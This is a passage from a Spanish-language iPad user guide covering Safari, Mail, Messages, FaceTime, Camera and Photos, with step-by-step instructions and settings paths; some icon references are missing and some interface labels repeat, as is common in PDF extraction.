pulse “Añadir a la lista de lectura”. Con el iPad 2 o posterior, se guardará la página web además del enlace, para poder leerlo incluso si no puede conectarse a Internet. • Añadir el destino de un enlace: Mantenga pulsado el enlace y, a continuación, pulse “Añadir a la lista de lectura”. • Ver la lista de lectura: Pulse y, a continuación, pulse . • Eliminar un ítem de su lista de lectura: Desplace el ítem y, a continuación, pulse Eliminar. Rellenar un formulario: Pulse un campo de texto para mostrar el teclado. • Desplazarse a otro campo de texto: Pulse el campo de texto, o pulse Siguiente o Anterior. • Enviar un formulario: Pulse Ir, Buscar, o el enlace de la página web para enviar el formulario. • Activar el autorrelleno: Vaya a Ajustes > Safari > Autorrelleno. Realizar búsquedas en Internet, en la página web actual o en un PDF con capacidad de búsqueda: Introduzca texto en el campo Buscar. • Buscar en Internet: Pulse una de las sugerencias que aparecen o pulse Buscar. • Buscar el texto objeto de la búsqueda en la página web o PDF actual: Desplácese a la parte inferior de la pantalla y, a continuación, pulse la entrada situada bajo “En esta página”. La primera aparición se mostrará resaltada. Para buscar apariciones posteriores, pulse . Guardar la página web actual como favorito: Pulse y, a continuación, pulse Favorito. Al guardar un favorito, podrá editar su título. Por omisión, los favoritos se guardan en el nivel superior de Favoritos. Para seleccionar otra carpeta, pulse Favoritos. Mostrar la barra de favoritos: Pulse el campo de dirección. Para que la barra de favoritos se muestre siempre, vaya a Ajustes > Safari, bajo General.Capítulo 5 Safari 47 Crear un icono en la pantalla de inicio: Pulse y, a continuación, pulse “Añadir a pantalla inicio”. Safari añade un icono para la página web actual en su pantalla de inicio. La imagen también se utiliza para el icono del clip web en la pantalla de inicio, salvo que la página web disponga de su propio icono personalizado. iCloud y iTunes realizan una copia de seguridad de los clips web, pero estos no se transfieren a otros dispositivos mediante iCloud ni se sincronizan con iTunes. Usar iCloud para mantener sus favoritos y listas de lectura actualizados en sus otros dispositivos iOS: Vaya a Ajustes > iCloud y, a continuación, active Safari. Consulte Cómo usar iCloud en la página 16. Ajustar las opciones de Safari: Vaya a Ajustes > Safari. Entre las opciones se incluyen: • motor de búsqueda; • Autorrelleno para rellenar formularios; • apertura de enlaces en una nueva página web, o en segundo plano; • navegación privada para ayudar a proteger la información privada y bloquear el seguimiento de su navegación por parte de algunos sitios web; • limpieza del historial, las cookies y los datos; • Datos móviles para la lista de lectura • Aviso de fraude6 48 Lectura de correo electrónico Escriba un mensaje. Escriba un mensaje. Cambie de buzón o cuenta. Cambie de buzón o cuenta. Elimine, traslade o marque varios mensajes. Elimine, traslade o marque varios mensajes. Busque en este buzón. Busque en este buzón. Cambie la longitud de la previsualización en Ajustes > Correo, contactos, calendarios. Cambie la longitud de la previsualización en Ajustes > Correo, contactos, calendarios. Marcar un mensaje con un indicador o marcarlo como no leído: Pulse . Para marcar varios mensajes al mismo tiempo, pulse Editar mientras ve la lista de mensajes. Identificar mensajes dirigidos específicamente a usted: Vaya a Ajustes > “Correo, contactos, calendarios” y, a continuación, active o desactive “Etiqueta Para/Cc”. Los mensajes con su dirección en los campos Para o Cc se indican con un icono en la lista de mensajes. Ver todos los destinatarios de un mensaje: Pulse la palabra Detalles en el campo De. Pulse el nombre o dirección de correo electrónico de un destinatario para ver la información de contacto del mismo o para añadirlo a Contactos o a su lista VIP. Impedir la descarga remota de imágenes: Vaya a Ajustes > “Correo, contactos, calendarios” y, a continuación, active o desactive “Cargar imágenes”. Abrir un enlace: Pulse el enlace para ejecutar su acción por omisión o manténgalo pulsado para ver otras acciones. Por ejemplo, para una dirección, puede mostrar su ubicación en Mapas o añadirla a Contactos. Puede añadir un enlace web a la Lista de lectura. MailCapítulo 6 Mail 49 Abrir una invitación a una reunión o un archivo adjunto: Pulse el ítem. Si el archivo adjunto pueden utilizarlo varias apps, manténgalo pulsado para seleccionar una app compatible con el archivo. Guardar una foto o un vídeo adjunto: Mantenga pulsada la foto o el vídeo y, a continuación, pulse “Guardar imagen” o “Guardar vídeo”. Se guardará en el álbum Carrete de la app Fotos. Cargar nuevos mensajes: Despliegue la lista de mensajes o de buzones para actualizar la lista. • Ajustar el número de mensajes antiguos recuperados: Vaya a Ajustes > “Correo, contactos, calendarios” > Mostrar. Desactivar la notificación de nuevos mensajes para una cuenta. Vaya a Ajustes > Notificaciones > Correo > nombre de cuenta y, a continuación, desactive “Centro de notificaciones”. Cambiar los sonidos reproducidos por Mail: Vaya a Ajustes > Sonidos. • Cambiar el sonido reproducido para el correo nuevo en cada cuenta: Vaya a Ajustes > Notificaciones > Correo > nombre de cuenta > Sonido de correo nuevo. • Cambiar el sonido reproducido para el correo nuevo VIP: Vaya a Ajustes > Notificaciones > Correo> VIP > Sonido de correo nuevo. Envío de correo electrónico Cambie su firma en Ajustes > Correo, contactos, calendarios. Cambie su firma en Ajustes > Correo, contactos, calendarios. Pulse para cambiar los campos De, Cc o Cco. Pulse para cambiar los campos De, Cc o Cco. Redactar un mensaje: Pulse y, a continuación, introduzca un nombre o dirección de correo electrónico. Después de introducir los destinatarios, puede arrastrarlos entre campos, por ejemplo, de Para a Cc. Si tiene varias cuentas de correo, pulse De para cambiar la cuenta desde la que desea enviar el mensaje. Copiarse automáticamente en los mensajes salientes: Vaya a Ajustes > Correo, contactos, calendarios > Añadirme a Cco. Guardar un borrador de un mensaje: Pulse Cancelar y, a continuación, pulse “Guardar borrador”. Mantenga pulsado para ver los borradores guardados. Responder a un mensaje: Pulse y, a continuación, pulse Responder. Los archivos o imágenes adjuntos al mensaje inicial no se reenvían. Para incluir los archivos adjuntos, reenvíe el mensaje en lugar de responder al mismo. Reenviar un mensaje: Abra un mensaje, pulse y, después, pulse Reenviar. Esta opción también reenvía los archivos adjuntos del mensaje.Capítulo 6 Mail 50 Citar parte del mensaje al que está respondiendo o que está reenviando: Mantenga el dedo sobre el texto para seleccionarlo. Arrastre los puntos de selección para seleccionar el texto que desee incluir en su respuesta y, a continuación, pulse . • Cambiar el nivel de sangría: Seleccione el texto a sangrar, pulse al menos dos veces y, a continuación, pulse “Nivel de cita”. • Aumentar automáticamente el nivel de sangrado: Vaya a Ajustes > “Correo, contactos, calendarios” y active “Aumentar nivel de cita”. Enviar una foto o un vídeo en un mensaje: Pulse el punto de inserción y aparecerán los botones de selección. A continuación, pulse “Insertar foto o vídeo” y seleccione una foto o un vídeo de un álbum. También puede enviar varias fotos por correo electrónico mediante Fotos. Consulte Cómo compartir fotos y vídeos en la página 64. Cambiar su firma de correo electrónico: Vaya a Ajustes > “Correo, contactos, calendarios” > Firma. Si tiene más de una cuenta de correo electrónico, pulse “Por cuenta” para especificar una firma distinta para cada una. Organización del correo Ver mensajes de los VIP: Vaya a la lista de buzones (pulse Buzones para llegar a ella) y pulse VIP. • Añadir una persona a la lista VIP: Pulse el nombre o la dirección de la persona en un campo De, Para o Cc/Cco y, a continuación, pulse “Añadir a lista VIP”. Agrupar los mensajes relacionados: Vaya a Ajustes > “Correo, contactos, calendarios” y, a continuación, active o desactive “Organizar cadenas”. Buscar mensajes: Abra un buzón y, a continuación, introduzca texto en el campo de búsqueda. Puede buscar en los campos De y Para, o en el campo Asunto del buzón abierto en ese momento. En las cuentas de correo que permiten realizar búsquedas en los mensajes almacenados en el servidor, pulse Todo para buscar en De, Para y Asunto, y en el cuerpo del mensaje. Eliminar un mensaje: Si el mensaje está abierto, pulse . • Eliminar un mensaje sin abrirlo: Deslice un dedo sobre el título del mensaje y, a continuación, pulse Eliminar. • Eliminar varios mensajes: Mientras ve la lista de mensajes, pulse Editar. • Desactivar la confirmación de eliminación: Vaya a Ajustes > Correo, contactos, calendarios > Preguntar al borrar. Recuperar un mensaje: Vaya al buzón Papelera de la cuenta, abra el mensaje, pulse y, a continuación, traslade el mensaje a la bandeja de entrada de la cuenta o a otra carpeta. • Ajustar el tiempo que se conservan los mensajes eliminados en la Papelera antes de su eliminación definitiva: Vaya a Ajustes > Correo, contactos, calendarios > nombre de cuenta > Cuenta > Avanzado. Activar o desactivar el archivado: Vaya a Ajustes > Correo, contactos, calendarios > nombre de cuenta > Cuenta > Avanzado. Al archivar un mensaje, se traslada al buzón Todos. No todas las cuentas de correo permiten archivar mensajes. Trasladar un mensaje a otro buzón: Mientras visualiza el mensaje, pulse y, a continuación, seleccione un destino. Añadir, renombrar o eliminar un buzón: En la lista de buzones, pulse Editar. Algunos buzones no pueden cambiarse o editarse.Capítulo 6 Mail 51 Impresión de mensajes y archivos adjuntos Imprimir un mensaje: Pulse y, a continuación, pulse Imprimir. Imprimir una imagen integrada: Mantenga pulsada la imagen y, a continuación, pulse “Guardar imagen”. Vaya a Fotos e imprima la imagen desde el álbum Carrete. Imprimir un archivo adjunto: Pulse el archivo adjunto para abrirlo en Vista Rápida y, a continuación, pulse y pulse Imprimir. Para obtener más información, consulte Impresión con AirPrint en la página 34. Cuentas de correo y ajustes de Mail Cambiar los ajustes de Mail y de las cuentas de correo: Vaya a Ajustes > “Correo, contactos, calendarios”. Puede configurar: • iCloud • Microsoft Exchange y Outlook • Google • Yahoo! • AOL • Microsoft Hotmail • Otras cuentas de correo POP e IMAP Los ajustes pueden variar según el tipo de cuenta que configure. Su proveedor de servicios de Internet o administrador del sistema puede facilitarle la información que debe introducir. Dejar de utilizar una cuenta temporalmente: Vaya a Ajustes > “Correo, contactos, calendarios”, seleccione una cuenta y, a continuación, desactive el servicio de correo de la cuenta. Si el servicio está desactivado, el iPad no mostrará ni sincronizará dicha información hasta que vuelva a activarlo. Es una buena forma de dejar de recibir mensajes de trabajo en vacaciones, por ejemplo. Eliminar una cuenta: Vaya a Ajustes > “Correo, contactos, calendarios”, seleccione una cuenta y, a continuación, desplácese hacia abajo y pulse “Eliminar cuenta”. Se eliminará toda la información sincronizada con dicha cuenta (los favoritos, el correo, las notas, etc.). Definir ajustes de Push: Vaya a Ajustes > Correo, contactos, calendarios > “Obtener datos”. La tecnología Push envía la información nueva en cuanto aparece en el servidor y hay una conexión a Internet (puede haber un retardo). Cuando “push” está desactivado, el uso del ajuste “Obtener datos” determina con qué regularidad se solicita esta información. El ajuste que seleccione aquí anulará los ajustes de las cuentas individuales. Para ahorrar batería, es recomendable no obtener información demasiado a menudo. No todas las cuentas de correo son compatibles con push. Enviar mensajes firmados y encriptados: Vaya a Ajustes > “Correo, contactos, calendarios”, seleccione una cuenta y, a continuación, pulse Avanzado. Active “S/MIME” y, a continuación, seleccione certificados para firmar y encriptar los mensajes salientes. Para instalar certificados, puede obtener un perfil de configuración de su administrador del sistema, descargar los certificados del sitio web del emisor utilizando Safari, o bien recibirlos en archivos adjuntos de correo.Capítulo 6 Mail 52 Ajustar opciones avanzadas: Vaya a Ajustes > Correo, contactos, calendarios > nombre de cuenta > Cuenta > Avanzado. Las opciones varían según la cuenta, y pueden incluir: • Almacenar borradores, mensajes enviados y mensajes eliminados en el iPad • ajustar el tiempo que se conservan los mensajes eliminados antes de su eliminación definitiva; • definir los ajustes del servidor de correo; • configurar los ajustes de SSL y de contraseña. Pregunte a su administrador del sistema o proveedor de servicios de Internet si no está seguro de cuáles son los ajustes adecuados para su cuenta.7 53 Cómo enviar y recibir mensajes ADVERTENCIA: Para obtener información importante sobre cómo evitar distracciones al volante, consulte Información importante sobre seguridad en la página 133. Con la app Mensajes y el servicio integrado iMessage, puede enviar mensajes de texto ilimitados a través de conexiones Wi-Fi o conexiones de datos de telefonía móvil a otros usuarios de iOS y OS X Mountain Lion. Los mensajes pueden incluir fotos, vídeos y otros tipos de datos. Podrá ver si la otra persona está escribiendo y podrá informarle cuando haya leído sus mensajes. Los mensajes de iMessage se muestran en todos los dispositivos con iOS conectados a la misma cuenta, de modo que pueda iniciar una conversación con uno de los dispositivos y seguirla en otro. Además, los mensajes de iMessage se encriptan para mayor seguridad. Nota: Pueden aplicarse tarifas de datos de telefonía móvil. Pulse el botón de edición para editar o reenviar una conversación. Pulse el botón de edición para editar o reenviar una conversación. Pulse el botón de redacción para iniciar una nueva conversación. Pulse el botón de redacción para iniciar una nueva conversación. Pulse el botón “Adjuntar contenido multimedia” para incluir una foto o un vídeo. Pulse el botón “Adjuntar contenido multimedia” para incluir una foto o un vídeo. MensajesCapítulo 7 Mensajes 54 Iniciar una conversación con mensajes de texto: Pulse y, a continuación, pulse y seleccione un contacto, busque en sus contactos introduciendo un nombre, o introduzca un número de teléfono o una dirección de correo electrónico manualmente. Escriba un mensaje y pulse Enviar. Nota: Si no es posible enviar un mensaje, aparecerá una alerta . Pulse la alerta para obtener más información o para intentar enviar el mensaje de nuevo. Reanudar una conversación: Pulse la conversación en la lista Mensajes. Ocultar el teclado: Pulse en la esquina inferior derecha. Utilizar caracteres de imagen: Vaya a Ajustes > General > Teclado > Teclados > Añadir nuevo teclado y, a continuación, pulse Emoji para hacer que esté disponible ese teclado. Posteriormente, mientras escriba un mensaje, pulse para mostrar el teclado Emoji. Consulte Métodos de entrada especiales en la página 131. Ver la información de contacto de una persona: Pulse . Desplácese hasta la parte inferior del panel Información para ver las acciones que puede realizar, como hacer una llamada de FaceTime. Consultar los mensajes anteriores de la conversación: Desplácese hasta la parte superior (pulse la barra de estado). Si es necesario, pulse “Cargar mensajes anteriores”. Enviar mensajes a un grupo: Pulse y, a continuación, introduzca varios destinatarios. Gestión de conversaciones Las conversaciones se guardan en la lista Mensajes. Un punto azul indica los mensajes sin leer. Pulse una conversación para verla o continuar con ella. Reenviar una conversación: Seleccione la conversación y pulse , seleccione las partes de la conversación que desee incluir y pulse Reenviar. Editar una conversación: Seleccione la conversación y pulse , seleccione las partes de la conversación que desee incluir y pulse Eliminar. Para borrar todos los mensajes y archivos adjuntos sin eliminar la conversación, pulse “Borrar todo”. Eliminar una conversación: En la lista Mensajes, deslice el dedo sobre la conversación y, a continuación, pulse Eliminar. Buscar una conversación: Desplácese hasta el principio de la lista Mensajes para mostrar el campo de búsqueda y, a continuación, introduzca su búsqueda. También puede buscar conversaciones desde la pantalla de inicio. Consulte Cómo buscar en la página 30. Añadir una persona a su lista de contactos o compartir un contacto: Pulse un número de telé- fono o una dirección de correo electrónico en la lista Mensajes y, a continuación, pulse . Cómo enviar fotos, vídeos y otros contenidos Puede enviar fotos, vídeos, ubicaciones, datos de contacto y notas de voz. El límite de tamaño de los archivos adjuntos viene determinado por su proveedor de servicios. El iPad puede comprimir los archivos de foto o vídeo adjuntos en caso necesario. Enviar una foto o vídeo: Pulse . Enviar una ubicación: En Mapas, pulse de una ubicación, pulse “Compartir ubicación” y, por último, pulse Mensaje.Capítulo 7 Mensajes 55 Enviar información de contacto: En Contactos, seleccione un contacto, pulse “Compartir contacto” (debajo de Notas) y, a continuación, pulse Mensaje. Guardar una foto o un vídeo recibido en el álbum Carrete: Pulse la foto o el vídeo, pulse y, a continuación, pulse “Guardar imagen”. Copiar una foto o vídeo: Mantenga pulsado el archivo adjunto y, a continuación, pulse Copiar. Guardar la información de contacto recibida: Pulse la burbuja de contacto y, a continuación, pulse “Nuevo contacto” o “Contacto existente”. Añadir una persona a sus contactos desde la lista Mensajes: Pulse el número de teléfono o la dirección de correo electrónico y, a continuación, pulse “Añadir contacto”. Ajustes de mensajes Vaya a Ajustes > Mensajes para ajustar las opciones de Mensajes, tales como: • activar o desactivar iMessage; • notificar a otras personas que ha leído sus mensajes; • especificar un número de teléfono, ID de Apple o dirección de correo electrónico para usar con Mensajes. • mostrar el campo Asunto; Gestionar las notificaciones de los mensajes: Consulte “No molestar” y notificaciones en la página 120. Ajustar el sonido de alerta de los mensajes de texto entrantes: Consulte Sonidos en la página 126.8 56 En un iPad 2 o posterior, podrá utilizar FaceTime para realizar videollamadas a otros dispositivos iOS u ordenadores que admitan FaceTime. La cámara FaceTime le permite hablar cara a cara; cambie a la cámara iSight en la parte trasera para compartir lo que ve a su alrededor. Nota: Es posible que FaceTime no esté disponible en todas las áreas. En modelos iPad Wi-Fi + cellular, las videollamadas con FaceTime pueden realizarse con una conexión de datos móviles. Pueden aplicarse tarifas de datos de telefonía móvil. Arrastrar la imagen a cualquier esquina. Arrastrar la imagen a cualquier esquina. Cambiar de cámara. Cambiar de cámara. Silenciar (puede ver y oír; la persona que realiza la llamada puede ver pero no oír). Silenciar (puede ver y oír; la persona que realiza la llamada puede ver pero no oír). Para utilizar FaceTime, necesita un ID de Apple y una conexión Wi-Fi a Internet. Cuando abra FaceTime, es posible que se le solicite que inicie sesión con su ID de Apple, o que cree una nueva cuenta. Realizar una llamada FaceTime: Pulse Contactos, seleccione un nombre y, a continuación, pulse el número de teléfono o la dirección de correo electrónico que esa persona utilice para FaceTime. También puede realizar una llamada FaceTime desde la app Contactos. Gire el iPad para utilizar FaceTime en orientación vertical u horizontal. Para evitar cambios de orientación no deseados, bloquee el iPad en orientación vertical. Consulte Orientación vertical u horizontal en la página 22. Reiniciar una llamada reciente: Pulse Recientes y seleccione un nombre o número. FaceTimeCapítulo 8 FaceTime 57 Usar Favoritos: Pulse Favoritos. • Añadir un favorito: Pulse y seleccione un contacto. • Llamar a un favorito: Pulse un nombre de la lista. Añadir un contacto: Pulse Contactos, pulse y, a continuación, escriba el nombre y la dirección de correo electrónico o el número de teléfono que esa persona utilice para FaceTime. En el caso de los contactos que no se encuentren en su país, introduzca el número completo, con los prefijos de país y área correspondientes. Utilizar otra app durante una llamada: Pulse el botón de inicio y, a continuación, pulse el icono de una app. Podrá seguir hablando con su interlocutor, pero ya no se verán. Para volver al vídeo, pulse la barra de color verde situada en la parte superior de la pantalla. Ajustar opciones para FaceTime: Vaya a Ajustes > FaceTime. Entre las opciones se incluyen la especificación de un número de teléfono, ID de Apple o dirección de correo electrónico para usar con FaceTime.9 58 Visión general Si tiene un iPad 2 o una versión posterior, puede realizar fotos y vídeos. Además de la cámara iSight en la parte trasera, existe una cámara FaceTime en la parte delantera para llamadas de FaceTime y autorretratos. Vea las fotos y los vídeos realizados. Vea las fotos y los vídeos realizados. Inicie o detenga la grabación de vídeo. Inicie o detenga la grabación de vídeo. Interruptor Cámara/Vídeo Interruptor Cámara/Vídeo Aparece brevemente un rectángulo en el área de la imagen que la cámara tiene enfocada y en la que ajusta la exposición. Cuando se fotografía a personas, el iPad (tercera generación) utiliza la función de detección de caras para enfocar automáticamente y ajustar la exposición para un máximo de 10 caras. Aparece un rectángulo sobre cada cara detectada. Hacer una foto: Pulse o pulse cualquiera de los botones de volumen. Para ver una cuadrícula en la pantalla, pulse Opciones. • Acercar o alejar la imagen: Pellizque la pantalla (solo cámara iSight). Grabar un vídeo: Cambie a y, a continuación, pulse o pulse cualquiera de los botones de volumen para iniciar o detener la grabación. Cuando hace una foto o empieza la grabación de un vídeo, el iPad emite un sonido de obturador. Puede controlar el volumen con los botones de volumen o con el interruptor lateral. Nota: En algunos países, silenciar el iPad no impide que suene el obturador. CámaraCapítulo 9 Cámara 59 Si la función de localización está activada, las fotos y los vídeos se etiquetarán con datos de localización que podrán utilizarse en otras apps y sitios web que permiten compartir fotos. Consulte Privacidad en la página 127. Ajustar el enfoque y la exposición: • Ajustar el enfoque y la exposición para la siguiente captura: Pulse el objeto que aparece en la pantalla. La detección de rostros está temporalmente desactivada. • Bloquear el enfoque y la exposición: Mantenga pulsada la pantalla hasta que el rectángulo oscile. En la parte inferior de la pantalla aparece “Bloqueo de AE/AF”, y el enfoque y la exposición permanecen bloqueados hasta que vuelva a pulsar la pantalla. Hacer una captura de pantalla: Pulse y suelte simultáneamente el botón de reposo/activación y el botón de inicio . La captura de pantalla se añade al álbum Carrete. Nota: En un iPad sin cámara, las capturas de pantalla se añaden al álbum “Fotos guardadas”. Cómo ver, compartir e imprimir Las fotos y los vídeos que se capturan con Cámara se guardan en el álbum Carrete. Si ha activado Fotos en Streaming en Ajustes > iCloud, las fotos nuevas también aparecerán en el álbum de Fotos en Streaming y se transferirán a sus otros dispositivos iOS y ordenadores. Consulte Cómo usar iCloud en la página 16 y Fotos en streaming en la página 62. Ver el álbum Carrete: Desplácese hacia la derecha o pulse la imagen en miniatura. También puede ver el álbum Carrete en la app Fotos. • Mostrar u ocultar los controles mientras se visualiza una foto o un vídeo: Pulse la pantalla. • Compartir una foto o vídeo: Pulse . Para enviar varias fotos o vídeos, pulse mientras ve las miniaturas, seleccione los ítems y, a continuación, pulse Compartir. • Imprimir una foto: Pulse . Consulte Impresión con AirPrint en la página 34. • Eliminar una foto o un vídeo: Pulse . Volver a la cámara: Pulse OK. Cargar fotos y vídeos en su ordenador: Conecte el iPad al ordenador. • Mac: Seleccione las fotos y vídeos que desea y, a continuación, haga clic en el botón Importar o Descargar de iPhoto o de cualquier aplicación fotográfica compatible instalada en el ordenador. • PC: Siga las instrucciones incluidas con su aplicación fotográfica. Si elimina las fotos o los vídeos del iPad al cargarlas en el ordenador, se eliminarán del álbum Carrete. Puede usar el panel de ajustes Fotos de iTunes para sincronizar fotos y vídeos con la app Fotos del iPad (en el caso de vídeos, solo en un Mac). Consulte Sincronización con iTunes en la página 18.Capítulo 9 Cámara 60 Edición de fotos y recorte de vídeos Mejora Mejora Recortar Recortar Girar Girar Corregir ojos rojos Corregir ojos rojos Editar una foto: Mientras visualiza una foto a pantalla completa, pulse Editar y, a continuación, pulse una herramienta. • Mejora automática: Los retoques mejoran la claridad u oscuridad, saturación de color y otras cualidades en general de una foto. Si desea anular los retoques, pulse de nuevo la herramienta (aunque ya haya guardado los cambios). • Corrección de ojos rojos: Pulse cada ojo que haya que corregir. • Recortar: Arrastre las esquinas de la cuadrícula, arrastre la foto para recolocarla y, por último, pulse Recortar. Para establecer unas determinadas proporciones, pulse Proporción. Cortar un vídeo: Mientras visualiza un vídeo, pulse la pantalla para mostrar los controles. Arrastre uno de los dos extremos del visualizador de fotogramas en la parte superior del vídeo y, a continuación, pulse Cortar. Importante: Si selecciona “Cortar original”, los fotogramas recortados se eliminarán permanentemente del vídeo original. Si selecciona “Guardar como vídeo nuevo”, se guardará un nuevo clip de vídeo recortado en el álbum Carrete y no se modificará el vídeo original.10 61 Cómo visualizar fotos y vídeos Fotos le permite ver las fotos y vídeos del iPad en su: • Álbum Carrete: fotos y vídeos realizados con el iPad o guardados procedentes de un mensaje de correo electrónico, un mensaje de texto, una página web o una captura de pantalla • Álbumes de Fotos en streaming: fotos de Mis Fotos en streaming y secuencias compartidas (consulte Fotos en streaming en la página 62) • Álbum “Última importación”, con fotos y vídeos importados de una cámara digital, un dispositivo iOS o una tarjeta de memoria SD (consulte Cómo importar fotos y vídeos en la página 65) • Fototeca y otros álbumes sincronizados desde su ordenador (consulte Sincronización con iTunes en la página 18) Nota: En un iPad sin cámara, el álbum “Fotos guardadas” sustituye el álbum Carrete. Seleccione una foto para visualizarla. Seleccione una foto para visualizarla. Editar la foto. Editar la foto. Reproducir un pase de diapositivas. Reproducir un pase de diapositivas. Eliminar la foto. Eliminar la foto. Transmitir el pase de diapositivas a un televisor de alta definición (HDVT) mediante AirPlay. Transmitir el pase de diapositivas a un televisor de alta definición (HDVT) mediante AirPlay. Compartir la foto, asignársela a un contacto, utilizarla como fondo de pantalla o imprimirla. Compartir la foto, asignársela a un contacto, utilizarla como fondo de pantalla o imprimirla. Pulse la pantalla para mostrar los controles. Pulse la pantalla para mostrar los controles. Visualizar fotos y vídeos: Pulse uno de los botones de la parte superior de la pantalla. Por ejemplo, pulse Álbum y, a continuación, pulse un álbum para ver sus miniaturas. Pulse la imagen en miniatura de una foto o de un vídeo para verlo a pantalla completa. • Visualizar la foto o el vídeo siguiente o anterior: Desplácese hacia la izquierda o hacia la derecha. • Acercar o alejar la imagen: Pulse dos veces o pellizque. FotosCapítulo 10 Fotos 62 • Desplazar una foto: Arrástrela. • Reproducir un vídeo: Pulse en el centro de la pantalla. También puede juntar y separar dos dedos para abrir o cerrar un álbum, ver una foto o un vídeo a pantalla completa o regresar a la vista en miniatura. Los álbumes que sincronice con iPhoto 8.0 (iLife ’09) o posterior, o con Aperture v3.0.2 o posterior, podrán visualizarse por eventos o por caras. También podrá visualizar las fotos por lugar si se han realizado con una cámara compatible con la función de etiquetado geográfico. Ver un pase de diapositivas: Pulse “Pase de diapositivas”. Seleccione las opciones del pase de diapositivas y, a continuación, pulse “Iniciar pase”. Para detener el pase, pulse la pantalla. Para ajustar otras opciones, vaya a Ajustes > Fotos y cámara. Transmitir un vídeo o un pase de diapositivas en tiempo real a un televisor: Consulte AirPlay en la página 33. Cómo organizar fotos y vídeos Crear un álbum: Pulse Álbumes, pulse , introduzca un nombre y, a continuación, pulse Guardar. Seleccione los ítems que desee añadir al nuevo álbum y, a continuación, pulse OK. Nota: Los álbumes creados en el iPad no se sincronizarán con el ordenador. Añadir ítems a un álbum: Cuando visualice las miniaturas, pulse , seleccione los ítems que desee y, a continuación, pulse OK. Gestionar álbumes: Pulse Editar. • Renombrar un álbum: Pulse el nombre del álbum y, a continuación, introduzca un nombre nuevo. • Reorganizar los álbumes: Arrastre un álbum. • Eliminar un álbum: Pulse . Solo se podrán renombrar o eliminar los álbumes creados con el iPad. Fotos en streaming Con “Fotos en streaming”, una función de iCloud (consulte Cómo usar iCloud en la página 16), las fotos que realice con el iPad aparecerán automáticamente en sus demás dispositivos configurados con “Fotos en streaming”, incluido su Mac o PC. Fotos en streaming también le permite compartir fotos seleccionadas con amigos y familiares, directamente en sus dispositivos o en Internet. Acerca de Fotos en streaming Cuando está activada la función “Fotos en streaming”, las fotos que realiza con el iPad (así como cualquier otra foto añadida al Carrete) se cargan en su secuencia de fotos en streaming después de salir de la app Cámara y de que el iPad se conecte a Internet por Wi-Fi. Dichas fotos aparecerán en el álbum “Mis fotos en streaming” del iPad y en sus otros dispositivos configurados con “Fotos en streaming”. Activar Fotos en streaming: Vaya a Ajustes > iCloud > Fotos en streaming. Las fotos añadidas a su secuencia de fotos en streaming desde sus otros dispositivos de iCloud también aparecerán en “Mis fotos en streaming”. El iPad y los demás dispositivos iOS pueden mostrar hasta mil de sus fotos más recientes en “Mis fotos en streaming”. Sus ordenadores pueden mantener permanentemente todas sus fotos de Fotos en streaming.Capítulo 10 Fotos 63 Nota: Las fotos de “Fotos en streaming” no cuentan de cara al límite de almacenamiento de iCloud. Gestionar el contenido de Fotos en streaming: En el álbum “Fotos en streaming”, pulse Editar. • Guardar fotos en el iPad: Seleccione las fotos y pulse Guardar. • Compartir, imprimir, copiar o guardar fotos en el álbum Carrete: Seleccione las fotos y pulse Compartir. • Eliminar fotos: Seleccione las fotos y pulse Eliminar. Nota: Aunque las fotos eliminadas se borren de “Fotos en streaming” en sus dispositivos, los originales permanecerán en el álbum Carrete del dispositivo donde se originaron. Tampoco se eliminan de las fotos en streaming las fotos guardadas en un dispositivo u ordenador. Para eliminar fotos de “Fotos en streaming”, debe tener instalado iOS 5.1 o posterior en el iPad y en sus otros dispositivos iOS. Consulte support.apple.com/kb/HT4486?viewlocale=es_ES. Fotos en streaming compartidas Las Fotos en streaming compartidas le permiten compartir fotos solo con personas concretas. Los usuarios de iOS 6 y OS X Mountain Lion pueden suscribirse a sus fotos en streaming compartidas, ver las últimas fotos añadidas, marcar fotos con “Me gusta” y dejar comentarios desde sus dispositivos. También podrá crear un sitio web público para una secuencia de fotos en streaming compartidas y compartir sus fotos con otras personas por Internet. Nota: Las secuencias de fotos en streaming compartidas funcionan por Wi-Fi y a través de redes móviles (iPad Wi-Fi + cellular). Pueden aplicarse tarifas de datos de telefonía móvil. Activar las secuencias de fotos en streaming compartidas: Vaya a Ajustes > iCloud > Fotos en streaming. Crear unas fotos en streaming compartidas: Pulse “Fotos en streaming” y, a continuación, pulse . Para invitar a otros usuarios de iOS 6 o OS X Mountain Lion a suscribirse a sus fotos en streaming compartidas, introduzca sus direcciones de correo electrónico. Para publicar las fotos en streaming en icloud.com, active “Sitio web público”. Nombre el álbum y, a continuación, pulse Crear. Añadir fotos a unas fotos en streaming compartidas: Seleccione una foto, pulse , pulse “Fotos en streaming” y, a continuación, seleccione las fotos en streaming compartidas. Para añadir varias fotos a un álbum, pulse Editar, seleccione las fotos y, a continuación, pulse Compartir. Eliminar fotos de unas fotos en streaming compartidas: Pulse las fotos en streaming compartidas, pulse Editar, seleccione las fotos y, a continuación, pulse Eliminar. Editar unas fotos en streaming compartidas: Pulse “Fotos en streaming”, pulse Editar y, después, pulse la secuencia de fotos compartidas en streaming. Puede: • renombrar las fotos en streaming; • añadir o eliminar suscriptores y reenviar una invitación; • crear un sitio web público y compartir el enlace; • eliminar las fotos en streaming.Capítulo 10 Fotos 64 Cómo compartir fotos y vídeos Puede compartir fotos mediante mensajes de correo electrónico, mensajes de texto, secuencias de fotos, tuits y Facebook. Los vídeos pueden compartirse mediante mensajes de correo electró- nico o de texto, o a través de YouTube. Compartir o copiar una foto o un vídeo: Seleccione una foto o un vídeo y, a continuación, pulse . Si no ve , pulse la pantalla para mostrar los controles. El límite de tamaño de los archivos adjuntos viene determinado por su proveedor de servicios. El iPad puede comprimir los archivos de foto o vídeo adjuntos en caso necesario. También puede copiar fotos y vídeos y, a continuación, pegarlos en un mensaje de correo electrónico o de texto. Compartir o copiar varias fotos y vídeos: Mientras visualiza las imágenes en miniatura, pulse Editar, seleccione las fotos o los vídeos y, a continuación, pulse Compartir. Guardar una foto o vídeo procedente de: • Un mensaje de correo electrónico: Pulse para descargarlo si es necesario, pulse la foto o mantenga pulsado el vídeo y, a continuación, pulse Guardar. • Un mensaje de texto: Pulse el ítem en la conversación, pulse , y, a continuación, pulse Guardar. • Una página web (solo fotos): Mantenga pulsada la foto y, a continuación, pulse “Guardar imagen”. Las fotos y vídeos que reciba, o que guarde de una página web, se guardarán en el álbum Carrete (o en “Fotos guardadas”, en un iPad sin cámara). Impresión de fotos Imprimir en impresoras compatibles con AirPrint: • Imprimir una sola foto: Pulse y, a continuación, pulse Imprimir. • Imprimir varias fotos: Mientras visualiza un álbum de fotos, pulse Editar, seleccione las fotos, pulse Compartir y, a continuación, pulse 